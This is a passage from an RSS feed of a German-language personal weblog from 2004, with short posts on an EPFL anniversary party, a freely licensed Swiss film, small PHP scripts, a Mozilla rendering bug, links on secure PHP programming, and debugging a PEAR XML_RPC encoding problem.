  13659.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324030</guid>
  13660.    <dc:creator>Andreas Jaggi</dc:creator>
  13661.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13662.    <pubDate>Sun, 02 May 2004 01:32:32 +0200</pubDate>
  13663.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13664.    <description><![CDATA[Am Freitag feierte die <a href="http://sin.epfl.ch" title="Section d'Informatique" lang="fr">Section d'Informatique</a> ihr 20-jähriges Bestehen.<br>
  13665. Zuerst mussten 90 Minuten Reden diverser Professoren und ehemaliger Präsidenten der <a href="http://www.epfl.ch" title="Ecole Polytechnique Fédérale de Lausanne">EPFL</a> überstanden werden. Da jeder Redner noch ein bisschen in der Vergangenheit schweifte, wurden aus den 90 Minuten 2 Stunden. Aber danach gabs ein Apéro mit einem fünfgängigen Menu.<br>
  13666. Nachdem der offizielle Teil gebührend genossen war, gings ab zum <a href="https://web.archive.org/web/20040507164952/http://www.deadlock.ch/" title="Deadlock 04 &amp; fete SSP (archive.org)">Deadlock</a>. Da die Section d'Informatique einen Frauenanteil von 6% hat, wurde das Deadlock mit dem Fest der Sciences Sociales et Politiques der <a href="http://www.unil.ch/" title="Université de Lausanne">UNIL</a> (95% Frauenanteil) zusammengelegt :-)<br>
  13667. So konnte der Rest des Abends einfach nur gut werden. Doch um 3 Uhr morgens waren auch die sechs Konzerte zuende und ich durfte noch fast ne Stunde nach Hause radeln...
  13668.  
  13669. ]]></description>
  13670.    <content:encoded><![CDATA[Am Freitag feierte die <a href="http://sin.epfl.ch" title="Section d'Informatique" lang="fr">Section d'Informatique</a> ihr 20-jähriges Bestehen.<br>
  13671. Zuerst mussten 90 Minuten Reden diverser Professoren und ehemaliger Präsidenten der <a href="http://www.epfl.ch" title="Ecole Polytechnique Fédérale de Lausanne">EPFL</a> überstanden werden. Da jeder Redner noch ein bisschen in der Vergangenheit schweifte, wurden aus den 90 Minuten 2 Stunden. Aber danach gabs ein Apéro mit einem fünfgängigen Menu.<br>
  13672. Nachdem der offizielle Teil gebührend genossen war, gings ab zum <a href="https://web.archive.org/web/20040507164952/http://www.deadlock.ch/" title="Deadlock 04 &amp; fete SSP (archive.org)">Deadlock</a>. Da die Section d'Informatique einen Frauenanteil von 6% hat, wurde das Deadlock mit dem Fest der Sciences Sociales et Politiques der <a href="http://www.unil.ch/" title="Université de Lausanne">UNIL</a> (95% Frauenanteil) zusammengelegt :-)<br>
  13673. So konnte der Rest des Abends einfach nur gut werden. Doch um 3 Uhr morgens waren auch die sechs Konzerte zuende und ich durfte noch fast ne Stunde nach Hause radeln...
  13674.  
  13675. ]]></content:encoded>
  13676.  </item>
  13677.  
  13678.  <item>
  13679.    <title>CH7</title>
  13680.    <link>https://blog.x-way.org/Cinema/2004/04/25/CH7.html</link>
  13681.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324029</guid>
  13682.    <dc:creator>Andreas Jaggi</dc:creator>
  13683.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13684.    <pubDate>Sun, 25 Apr 2004 12:47:09 +0200</pubDate>
  13685.    <category domain="https://blog.x-way.org/Cinema/">Cinema</category>
  13686.    <description><![CDATA[<p><a href="https://web.archive.org/web/20040526061222/http://www.ch7.ch/" title="CH7 - online - archive.org">CH7</a> ist ein neuer Schweizer Fim, der nach dem "No Budget but high Quality" Prinzip produziert worden ist. Sämtliche Arbeit wurde ehrenatmlich geleistet und Sponsoren haben die Produktion unterstützt.</p><p>Die Macherinnen und Macher von CH7 wollen zu der heute grassierenden Copyright-Hysterie einen Gegenpol bilden. Deshalb ist kann man CH7 seit dem 24.04.04 im Internet frei <a href="https://web.archive.org/web/20040602190155/http://www.ch7.ch/download.html" title="CH7 - Download - archive.org">herunterladen</a> und straffrei kopieren. Diese Vertriebsart ist einmalig und neu. CH7 untersteht der <a href="http://creativecommons.org/licenses/by-nd-nc/1.0/" title="Creative Commons Deed">Creative Commons License</a>. Feel free to share!</p><p>Wer das Projekt unterstützen oder einfach nur danken möchte kann dies unter folgender Bankverbindung:<br><strong>CREDIT SUISSE<br>Clearing Nr. 4595<br>Konto 917917-90 Yvan Piccinno<br>Vermerk: CH7 Download</strong></p>
  13687. ]]></description>
  13688.    <content:encoded><![CDATA[<p><a href="https://web.archive.org/web/20040526061222/http://www.ch7.ch/" title="CH7 - online - archive.org">CH7</a> ist ein neuer Schweizer Fim, der nach dem "No Budget but high Quality" Prinzip produziert worden ist. Sämtliche Arbeit wurde ehrenatmlich geleistet und Sponsoren haben die Produktion unterstützt.</p><p>Die Macherinnen und Macher von CH7 wollen zu der heute grassierenden Copyright-Hysterie einen Gegenpol bilden. Deshalb ist kann man CH7 seit dem 24.04.04 im Internet frei <a href="https://web.archive.org/web/20040602190155/http://www.ch7.ch/download.html" title="CH7 - Download - archive.org">herunterladen</a> und straffrei kopieren. Diese Vertriebsart ist einmalig und neu. CH7 untersteht der <a href="http://creativecommons.org/licenses/by-nd-nc/1.0/" title="Creative Commons Deed">Creative Commons License</a>. Feel free to share!</p><p>Wer das Projekt unterstützen oder einfach nur danken möchte kann dies unter folgender Bankverbindung:<br><strong>CREDIT SUISSE<br>Clearing Nr. 4595<br>Konto 917917-90 Yvan Piccinno<br>Vermerk: CH7 Download</strong></p>
  13689. ]]></content:encoded>
  13690.  </item>
  13691.  
  13692.  <item>
  13693.    <title>Sysmic 10</title>
  13694.    <link>https://blog.x-way.org/Misc/2004/04/21/Sysmic_10.html</link>
  13695.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324028</guid>
  13696.    <dc:creator>Andreas Jaggi</dc:creator>
  13697.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13698.    <pubDate>Wed, 21 Apr 2004 21:01:45 +0200</pubDate>
  13699.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13700.    <description><![CDATA[Nun findet man bei den Einstellungen ein neues Layout, das dem Flyer vom <a href="https://web.archive.org/web/20040604014341/http://sysmic.epfl.ch/" title="Sysmic 10 (archive.org)">Sysmic</a> nachempfunden ist.
  13701. ]]></description>
  13702.    <content:encoded><![CDATA[Nun findet man bei den Einstellungen ein neues Layout, das dem Flyer vom <a href="https://web.archive.org/web/20040604014341/http://sysmic.epfl.ch/" title="Sysmic 10 (archive.org)">Sysmic</a> nachempfunden ist.
  13703. ]]></content:encoded>
  13704.  </item>
  13705.  
  13706.  <item>
  13707.    <title>Acronymizer</title>
  13708.    <link>https://blog.x-way.org/Coding/2004/04/15/Acronymizer.html</link>
  13709.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324027</guid>
  13710.    <dc:creator>Andreas Jaggi</dc:creator>
  13711.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13712.    <pubDate>Thu, 15 Apr 2004 19:35:22 +0200</pubDate>
  13713.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13714.    <description><![CDATA[<p><a href="https://blog.x-way.org/stuff/acronymizer.txt" title="acronymizer.txt">Hier</a>  ist ein kleines Skript, welches in einem (X)HTML-Text nach Akronymen sucht und diese mit ihrer Definition ersetzt. Die Akronyme werden als assoziatives Array übergeben und können nicht nur die Definition sondern auch andere Attribute wie z.B. die Sprache mitbringen. Das Skript ersetzt nur Text ausserhalb von HTML-Tags und ersetzt keine Akronyme die schon mit dem entsprechenden Tag ausgerüstet sind.<br>Zusätzlich gibt es einen Anständigen Modus, in dem Akronyme nur ersetzt werden, wenn sie nicht in einem Wort integriert sind, sondern durch ein Zeichen davon getrennt sind. Die Trennzeichen werden auch als Parameter übergeben. So wird beispielsweise PHPprogrammierer im anständigen Modus nicht ersetzt, hingegen PHP-Programmierer schon.</p><p>Einfach mal anschauen, vielleicht kanns ja sonst noch jemand gebrauchen.</p>
  13715. ]]></description>
  13716.    <content:encoded><![CDATA[<p><a href="https://blog.x-way.org/stuff/acronymizer.txt" title="acronymizer.txt">Hier</a>  ist ein kleines Skript, welches in einem (X)HTML-Text nach Akronymen sucht und diese mit ihrer Definition ersetzt. Die Akronyme werden als assoziatives Array übergeben und können nicht nur die Definition sondern auch andere Attribute wie z.B. die Sprache mitbringen. Das Skript ersetzt nur Text ausserhalb von HTML-Tags und ersetzt keine Akronyme die schon mit dem entsprechenden Tag ausgerüstet sind.<br>Zusätzlich gibt es einen Anständigen Modus, in dem Akronyme nur ersetzt werden, wenn sie nicht in einem Wort integriert sind, sondern durch ein Zeichen davon getrennt sind. Die Trennzeichen werden auch als Parameter übergeben. So wird beispielsweise PHPprogrammierer im anständigen Modus nicht ersetzt, hingegen PHP-Programmierer schon.</p><p>Einfach mal anschauen, vielleicht kanns ja sonst noch jemand gebrauchen.</p>
  13717. ]]></content:encoded>
  13718.  </item>
  13719.  
  13720.  <item>
  13721.    <title>Playlist</title>
  13722.    <link>https://blog.x-way.org/Misc/2004/04/15/Playlist.html</link>
  13723.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324026</guid>
  13724.    <dc:creator>Andreas Jaggi</dc:creator>
  13725.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13726.    <pubDate>Thu, 15 Apr 2004 18:12:21 +0200</pubDate>
  13727.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13728.    <description><![CDATA[<p><a href="http://kniebes.com/" title="Markus Kniebes">Markus Kniebes</a> hat ein <a href="https://kniebes.com/2004/04/15/am-rande-der-sinnlosigkeit" title="Am Rande der Sinnlosigkeit">Skript</a> geschrieben, welches mittels einer MySQL-Datenbank eine Übersicht über die abgespielten Musikstücke erstellt. Erinnert mich ein bisschen an die Playlists in iTunes. Meine Playlist findet man <a href="http://waterwave.ch/weblog/playlist.php" title="Playlist">hier</a> :-)</p>
  13729. ]]></description>
  13730.    <content:encoded><![CDATA[<p><a href="http://kniebes.com/" title="Markus Kniebes">Markus Kniebes</a> hat ein <a href="https://kniebes.com/2004/04/15/am-rande-der-sinnlosigkeit" title="Am Rande der Sinnlosigkeit">Skript</a> geschrieben, welches mittels einer MySQL-Datenbank eine Übersicht über die abgespielten Musikstücke erstellt. Erinnert mich ein bisschen an die Playlists in iTunes. Meine Playlist findet man <a href="http://waterwave.ch/weblog/playlist.php" title="Playlist">hier</a> :-)</p>
  13731. ]]></content:encoded>
  13732.  </item>
  13733.  
  13734.  <item>
  13735.    <title>Na</title>
  13736.    <link>https://blog.x-way.org/Misc/2004/04/15/Na.html</link>
  13737.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324025</guid>
  13738.    <dc:creator>Andreas Jaggi</dc:creator>
  13739.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13740.    <pubDate>Thu, 15 Apr 2004 17:16:41 +0200</pubDate>
  13741.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13742.    <description><![CDATA[<ol><li>Grab the nearest book.</li><li>Open the book to page 23.</li><li>Find the fifth sentence.</li><li>Post the text of the sentence in your journal along with these instructions.</li></ol><blockquote lang="en"><p>In symbols, the average acceleration <em>a</em>, over a time interval <em>&#916;t</em> = <em>t<sub>2</sub></em> - <em>t<sub>1</sub></em> during which the velocity changes by <em>&#916;v</em> = <em>v<sub>2</sub></em> - <em>v<sub>1</sub></em>, is defined as<br><em>a</em> = <em>(v<sub>2</sub> - v<sub>1</sub>)</em>/<em>(t<sub>2</sub> - t<sub>1</sub>)</em> = <em>&#916;v</em>/<em>&#916;t</em>.</p><p>Douglas C. Giancoli - Physics for Scientists &amp; Engineers</p></blockquote><p>Via <a href="https://www.kniebes.com" title="Dunkle Zeiten">Dunkle Zeiten</a>.</p>
  13743. ]]></description>
  13744.    <content:encoded><![CDATA[<ol><li>Grab the nearest book.</li><li>Open the book to page 23.</li><li>Find the fifth sentence.</li><li>Post the text of the sentence in your journal along with these instructions.</li></ol><blockquote lang="en"><p>In symbols, the average acceleration <em>a</em>, over a time interval <em>&#916;t</em> = <em>t<sub>2</sub></em> - <em>t<sub>1</sub></em> during which the velocity changes by <em>&#916;v</em> = <em>v<sub>2</sub></em> - <em>v<sub>1</sub></em>, is defined as<br><em>a</em> = <em>(v<sub>2</sub> - v<sub>1</sub>)</em>/<em>(t<sub>2</sub> - t<sub>1</sub>)</em> = <em>&#916;v</em>/<em>&#916;t</em>.</p><p>Douglas C. Giancoli - Physics for Scientists &amp; Engineers</p></blockquote><p>Via <a href="https://www.kniebes.com" title="Dunkle Zeiten">Dunkle Zeiten</a>.</p>
  13745. ]]></content:encoded>
  13746.  </item>
  13747.  
  13748.  <item>
  13749.    <title>Mozilla Bug</title>
  13750.    <link>https://blog.x-way.org/Webdesign/2004/04/15/Mozilla_Bug.html</link>
  13751.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324024</guid>
  13752.    <dc:creator>Andreas Jaggi</dc:creator>
  13753.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13754.    <pubDate>Thu, 15 Apr 2004 01:55:52 +0200</pubDate>
  13755.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  13756.    <description><![CDATA[<img src="https://blog.x-way.org/images/mozilla-bug.png" width="132" height="198" alt="Screenshot vom Bug"><p>Wie ich <a href="http://www.serve.com/apg/" title="Andrew Porter Glendinning">Andrew Porter Glendinning</a> besuchte, entdeckte ich diesen Graphikfehler in Mozilla. Der Text lautet </p><blockquote lang="en"><p>If you can read this, your browser doesn't support the over 4-year-old <a href="https://www.w3.org/TR/REC-CSS2/">CSS Level 2 Recommendation</a>. These icons should be fixed in the lower right corner of your browser window, and this message should be invisible.</p></blockquote><p>Nach der Analyse des Stylesheets, habe ich herausgefunden, dass der Text eigentlich ausserhalb des Browserfensters dargestellt werden sollte. Bei Mozilla hört das Browserfenster vor dem Scrollbalken auf, jedoch für die Rendering-Engine erst am Fensterrand :-P</p>
  13757. ]]></description>
  13758.    <content:encoded><![CDATA[<img src="https://blog.x-way.org/images/mozilla-bug.png" width="132" height="198" alt="Screenshot vom Bug"><p>Wie ich <a href="http://www.serve.com/apg/" title="Andrew Porter Glendinning">Andrew Porter Glendinning</a> besuchte, entdeckte ich diesen Graphikfehler in Mozilla. Der Text lautet </p><blockquote lang="en"><p>If you can read this, your browser doesn't support the over 4-year-old <a href="https://www.w3.org/TR/REC-CSS2/">CSS Level 2 Recommendation</a>. These icons should be fixed in the lower right corner of your browser window, and this message should be invisible.</p></blockquote><p>Nach der Analyse des Stylesheets, habe ich herausgefunden, dass der Text eigentlich ausserhalb des Browserfensters dargestellt werden sollte. Bei Mozilla hört das Browserfenster vor dem Scrollbalken auf, jedoch für die Rendering-Engine erst am Fensterrand :-P</p>
  13759. ]]></content:encoded>
  13760.  </item>
  13761.  
  13762.  <item>
  13763.    <title>Sicheres Programmieren mit PHP</title>
  13764.    <link>https://blog.x-way.org/Coding/2004/04/15/Sicheres_Programmieren_mit_PHP.html</link>
  13765.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324023</guid>
  13766.    <dc:creator>Andreas Jaggi</dc:creator>
  13767.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13768.    <pubDate>Thu, 15 Apr 2004 00:30:34 +0200</pubDate>
  13769.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13770.    <description><![CDATA[<ul>
  13771. <li><a href="https://web.archive.org/web/20040603085620/http://www.zend.com/zend/art/art-oertli.php" title="Secure Programming in PHP (archive.org)">Secure Programming in PHP</a></li><li><a href="https://web.archive.org/web/20040414075634/http://solidox.org/index.php?w=module:article,action:view,id:11" title="Writing Secure PHP Code (archive.org)">Writing Secure PHP Code</a></li><li><a href="https://web.archive.org/web/20040703084729/http://www.developer.com/lang/article.php/918141" title="On the Security of PHP, Part 1">On the Security of PHP, Part 1</a></li><li><a href="https://web.archive.org/web/20040703085140/http://www.developer.com/lang/article.php/922871" title="On the Security of PHP, Part 2">On the Security of PHP, Part 2</a></li>
  13772. </ul><p>Uff, Glück gehabt. Die erwähnten Punkte habe ich fast alle berücksichtigt, und die ausgelassenen Sicherheitslücken funktionieren mit der hier installierten <abbr title="PHP Hypertext Preprocessor">PHP</abbr>-Version nicht mehr :-)</p><p>Via <a href="https://web.archive.org/web/20040520075516/http://www.absolut-marc.de/" title="absolut-marc.de (archive.org)">absolut-marc.de</a></p>
  13773. ]]></description>
  13774.    <content:encoded><![CDATA[<ul>
  13775. <li><a href="https://web.archive.org/web/20040603085620/http://www.zend.com/zend/art/art-oertli.php" title="Secure Programming in PHP (archive.org)">Secure Programming in PHP</a></li><li><a href="https://web.archive.org/web/20040414075634/http://solidox.org/index.php?w=module:article,action:view,id:11" title="Writing Secure PHP Code (archive.org)">Writing Secure PHP Code</a></li><li><a href="https://web.archive.org/web/20040703084729/http://www.developer.com/lang/article.php/918141" title="On the Security of PHP, Part 1">On the Security of PHP, Part 1</a></li><li><a href="https://web.archive.org/web/20040703085140/http://www.developer.com/lang/article.php/922871" title="On the Security of PHP, Part 2">On the Security of PHP, Part 2</a></li>
  13776. </ul><p>Uff, Glück gehabt. Die erwähnten Punkte habe ich fast alle berücksichtigt, und die ausgelassenen Sicherheitslücken funktionieren mit der hier installierten <abbr title="PHP Hypertext Preprocessor">PHP</abbr>-Version nicht mehr :-)</p><p>Via <a href="https://web.archive.org/web/20040520075516/http://www.absolut-marc.de/" title="absolut-marc.de (archive.org)">absolut-marc.de</a></p>
  13777. ]]></content:encoded>
  13778.  </item>
  13779.  
  13780.  <item>
  13781.    <title>Developing With Web Standards</title>
  13782.    <link>https://blog.x-way.org/Webdesign/2004/04/14/Developing_With_Web_Standards.html</link>
  13783.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324022</guid>
  13784.    <dc:creator>Andreas Jaggi</dc:creator>
  13785.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13786.    <pubDate>Wed, 14 Apr 2004 21:07:50 +0200</pubDate>
  13787.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  13788.    <description><![CDATA[<p><a href="http://www.456bereastreet.com/lab/developing_with_web_standards/" title="Developing With Web Standards">Developing With Web Standards</a> Recommendations and best practices. Eine gute Übersicht, auch geeignet um Leute in die Thematik einzuführen.</p><p>Via <a href="https://kniebes.com/" title="LinkDump">LinkDump</a></p>
  13789. ]]></description>
  13790.    <content:encoded><![CDATA[<p><a href="http://www.456bereastreet.com/lab/developing_with_web_standards/" title="Developing With Web Standards">Developing With Web Standards</a> Recommendations and best practices. Eine gute Übersicht, auch geeignet um Leute in die Thematik einzuführen.</p><p>Via <a href="https://kniebes.com/" title="LinkDump">LinkDump</a></p>
  13791. ]]></content:encoded>
  13792.  </item>
  13793.  
  13794.  <item>
  13795.    <title>Warum?</title>
  13796.    <link>https://blog.x-way.org/Coding/2004/04/13/Warum.html</link>
  13797.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324021</guid>
  13798.    <dc:creator>Andreas Jaggi</dc:creator>
  13799.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13800.    <pubDate>Tue, 13 Apr 2004 18:36:15 +0200</pubDate>
  13801.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13802.    <description><![CDATA[<p>Kann mir jemand den Gedanken hinter folgendem Verhalten von <a href="http://pear.php.net/package/XML_RPC" title="PEAR :: Package :: XML_RPC">XML_RPC</a> erklären?</p><p>Ich bin dabei, einige <abbr title="eXtensible Markup Language - Remote Procedure Call protocol">XML-RPC</abbr> Webservices in <abbr title="PHP Hypertext Preprocessor">PHP</abbr> zu programmieren. Leider gabs immer eine Fehlermeldung wenn ich eine bestimmte Funktion aufrufe.</p><p>Zuerst suchte ich den Fehler in der Funktion beim XML-RPC-Server. Jedoch funktionierte die problemlos. Danach habe ich eine Ewigkeit mit den via XML-RPC übergebenen Parameter herumgespielt, hat jedoch nichts gebracht.</p><p>Dann habe ich in der XML-RPC-Klasse das Debug-Flag aktiviert. So konnte ich herausfinden, dass der XML-RPC-Server die Ausgabewerte der Funktionen übergibt, was ja auch so sein muss. Das Debug-Flag machte auch, dass im XML-RPC-Client die empfangenen XML-Daten ausgegeben werden. Diese entsprachen den vom Server gesendeten. Doch leider gab mir das Debug-Flag keine Information warum das Parsen der XML-Daten fehlschlug.</p><p>So habe ich mir mal den Code der XML-RPC-Klasse angeschaut und habe dort eine Funktion error_log entdeckt. Diese Funktion ist in PHP eingebaut und sendet eine Fehlermeldung. Nach dem Studium der <a href="https://www.php.net/manual/de/function.error-log.php" title="PHP-Manual: error_log">Dokumentation</a> habe ich herausgefunden, dass die Fehlermeldungen damit in den Error-Log vom Apache geschrieben werden!</p><p>Also habe ich mir /var/log/apache2/error_log vorgenommen. Darin fand ich Fehlermeldungen des XML-Parsers, der sich über ein invalid token beschwerte!</p><p> Nach längerem Herumexperimentieren mit den Eingabewerten, fand ich heraus, dass der XML-Parser an einem nicht enkodierten Umlaut scheiterte.</p><p>Da ich Umlaute nicht mehr enkodiere, sondern einfach das entsprechende encoding="iso-8859-15" Attribut setzte, kontrollierte ich zuerst den XML-Header, wie er von der XML-RPC-Klasse generiert wird. Dort fand ich dann auch den Fehler: es wird kein encoding Attribut erzeugt.</p><p>Warum werden nicht alle Umlaute etc. automatisch enkodiert, wenn kein encoding Attribut mitgeliefert wird?</p><p>Warum gibt es ein Debug-Flag, aber Fehlermeldungen werden trotzdem nicht ausgegeben sondern weiterhin nur nach /var/log/apache2/error_log geschrieben?</p>
  13803. ]]></description>
  13804.    <content:encoded><![CDATA[<p>Kann mir jemand den Gedanken hinter folgendem Verhalten von <a href="http://pear.php.net/package/XML_RPC" title="PEAR :: Package :: XML_RPC">XML_RPC</a> erklären?</p><p>Ich bin dabei, einige <abbr title="eXtensible Markup Language - Remote Procedure Call protocol">XML-RPC</abbr> Webservices in <abbr title="PHP Hypertext Preprocessor">PHP</abbr> zu programmieren. Leider gabs immer eine Fehlermeldung wenn ich eine bestimmte Funktion aufrufe.</p><p>Zuerst suchte ich den Fehler in der Funktion beim XML-RPC-Server. Jedoch funktionierte die problemlos. Danach habe ich eine Ewigkeit mit den via XML-RPC übergebenen Parameter herumgespielt, hat jedoch nichts gebracht.</p><p>Dann habe ich in der XML-RPC-Klasse das Debug-Flag aktiviert. So konnte ich herausfinden, dass der XML-RPC-Server die Ausgabewerte der Funktionen übergibt, was ja auch so sein muss. Das Debug-Flag machte auch, dass im XML-RPC-Client die empfangenen XML-Daten ausgegeben werden. Diese entsprachen den vom Server gesendeten. Doch leider gab mir das Debug-Flag keine Information warum das Parsen der XML-Daten fehlschlug.</p><p>So habe ich mir mal den Code der XML-RPC-Klasse angeschaut und habe dort eine Funktion error_log entdeckt. Diese Funktion ist in PHP eingebaut und sendet eine Fehlermeldung. Nach dem Studium der <a href="https://www.php.net/manual/de/function.error-log.php" title="PHP-Manual: error_log">Dokumentation</a> habe ich herausgefunden, dass die Fehlermeldungen damit in den Error-Log vom Apache geschrieben werden!</p><p>Also habe ich mir /var/log/apache2/error_log vorgenommen. Darin fand ich Fehlermeldungen des XML-Parsers, der sich über ein invalid token beschwerte!</p><p> Nach längerem Herumexperimentieren mit den Eingabewerten, fand ich heraus, dass der XML-Parser an einem nicht enkodierten Umlaut scheiterte.</p><p>Da ich Umlaute nicht mehr enkodiere, sondern einfach das entsprechende encoding="iso-8859-15" Attribut setzte, kontrollierte ich zuerst den XML-Header, wie er von der XML-RPC-Klasse generiert wird. Dort fand ich dann auch den Fehler: es wird kein encoding Attribut erzeugt.</p><p>Warum werden nicht alle Umlaute etc. automatisch enkodiert, wenn kein encoding Attribut mitgeliefert wird?</p><p>Warum gibt es ein Debug-Flag, aber Fehlermeldungen werden trotzdem nicht ausgegeben sondern weiterhin nur nach /var/log/apache2/error_log geschrieben?</p>
  13805. ]]></content:encoded>
  13806.  </item>
  13807.  
  13808.  <item>
  13809.    <title>RSS, TrackBack</title>
  13810.    <link>https://blog.x-way.org/Coding/2004/04/11/RSS_TrackBack.html</link>
  13811.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324020</guid>
  13812.    <dc:creator>Andreas Jaggi</dc:creator>
  13813.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13814.    <pubDate>Sun, 11 Apr 2004 15:51:14 +0200</pubDate>
  13815.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13816.    <description><![CDATA[<p>Nun findet man hier auch diverse <abbr title="Rich Site Summary | RDF Site Summary | Really Simple Syndication">RSS</abbr>-Feeds und es ist auch möglich mittels TrackBack seine Meinung mitzuteilen.</p>                                                                                                                                                        <ul><li><a href="https://web.archive.org/web/20040402132105/http://uckan.info/texte/was_ist_rss.php" title="Was ist RSS? (archive.org)">Was ist RSS?</a></li><li><a href="https://web.archive.org/web/20040402132332/www.moveabletype.org/trackback/" title="TrackBack Development (archive.org)">TrackBack Development</a></li></ul>
  13817. <p>Feeds</p>
  13818. <ul><li>Alle Sprachen<ul>
  13819. <li><a href="http://waterwave.ch/weblog/atom.xml" title="Atom Feed">Atom 0.3</a></li>
  13820. <li><a href="http://waterwave.ch/weblog/rss.xml" title="RSS2 Feed">RSS 2.0</a></li>
  13821. <li><a href="http://waterwave.ch/weblog/rss-092.xml" title="RSS 0.92 Feed">RSS 0.92</a></li>
  13822. <li><a href="http://waterwave.ch/weblog/rdf.xml" title="RSS 1.0 Feed">RSS 1.0</a></li>
  13823. </ul></li><li>Deutsch<ul>
  13824. <li><a href="http://waterwave.ch/weblog/atom-de.xml" title="Atom Feed">Atom 0.3</a></li>
  13825. <li><a href="http://waterwave.ch/weblog/rss-de.xml" title="RSS2 Feed">RSS 2.0</a></li>
  13826. <li><a href="http://waterwave.ch/weblog/rss-092-de.xml" title="RSS 0.92 Feed">RSS 0.92</a></li>
  13827. <li><a href="http://waterwave.ch/weblog/rdf-de.xml" title="RSS 1.0 Feed">RSS 1.0</a></li>
  13828. </ul></li><li>Französisch<ul>
  13829. <li><a href="http://waterwave.ch/weblog/atom-fr.xml" title="Atom Feed">Atom 0.3</a></li>
  13830. <li><a href="http://waterwave.ch/weblog/rss-fr.xml" title="RSS2 Feed">RSS 2.0</a></li>
  13831. <li><a href="http://waterwave.ch/weblog/rss-092-fr.xml" title="RSS 0.92 Feed">RSS 0.92</a></li>
  13832. <li><a href="http://waterwave.ch/weblog/rdf-fr.xml" title="RSS 1.0 Feed">RSS 1.0</a></li>
  13833. </ul></li></ul>
  13834. ]]></description>
  13835.    <content:encoded><![CDATA[<p>Nun findet man hier auch diverse <abbr title="Rich Site Summary | RDF Site Summary | Really Simple Syndication">RSS</abbr>-Feeds und es ist auch möglich mittels TrackBack seine Meinung mitzuteilen.</p>                                                                                                                                                        <ul><li><a href="https://web.archive.org/web/20040402132105/http://uckan.info/texte/was_ist_rss.php" title="Was ist RSS? (archive.org)">Was ist RSS?</a></li><li><a href="https://web.archive.org/web/20040402132332/www.moveabletype.org/trackback/" title="TrackBack Development (archive.org)">TrackBack Development</a></li></ul>
  13836. <p>Feeds</p>
  13837. <ul><li>Alle Sprachen<ul>
  13838. <li><a href="http://waterwave.ch/weblog/atom.xml" title="Atom Feed">Atom 0.3</a></li>
  13839. <li><a href="http://waterwave.ch/weblog/rss.xml" title="RSS2 Feed">RSS 2.0</a></li>
  13840. <li><a href="http://waterwave.ch/weblog/rss-092.xml" title="RSS 0.92 Feed">RSS 0.92</a></li>
  13841. <li><a href="http://waterwave.ch/weblog/rdf.xml" title="RSS 1.0 Feed">RSS 1.0</a></li>
  13842. </ul></li><li>Deutsch<ul>
  13843. <li><a href="http://waterwave.ch/weblog/atom-de.xml" title="Atom Feed">Atom 0.3</a></li>
  13844. <li><a href="http://waterwave.ch/weblog/rss-de.xml" title="RSS2 Feed">RSS 2.0</a></li>
  13845. <li><a href="http://waterwave.ch/weblog/rss-092-de.xml" title="RSS 0.92 Feed">RSS 0.92</a></li>
  13846. <li><a href="http://waterwave.ch/weblog/rdf-de.xml" title="RSS 1.0 Feed">RSS 1.0</a></li>
  13847. </ul></li><li>Französisch<ul>
  13848. <li><a href="http://waterwave.ch/weblog/atom-fr.xml" title="Atom Feed">Atom 0.3</a></li>
  13849. <li><a href="http://waterwave.ch/weblog/rss-fr.xml" title="RSS2 Feed">RSS 2.0</a></li>
  13850. <li><a href="http://waterwave.ch/weblog/rss-092-fr.xml" title="RSS 0.92 Feed">RSS 0.92</a></li>
  13851. <li><a href="http://waterwave.ch/weblog/rdf-fr.xml" title="RSS 1.0 Feed">RSS 1.0</a></li>
  13852. </ul></li></ul>
  13853. ]]></content:encoded>
  13854.  </item>
  13855.  
  13856.  <item>
  13857.    <title>Inkscape</title>
  13858.    <link>https://blog.x-way.org/Webdesign/2004/04/09/Inkscape.html</link>
  13859.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324019</guid>
  13860.    <dc:creator>Andreas Jaggi</dc:creator>
  13861.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13862.    <pubDate>Fri, 09 Apr 2004 21:22:13 +0200</pubDate>
  13863.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
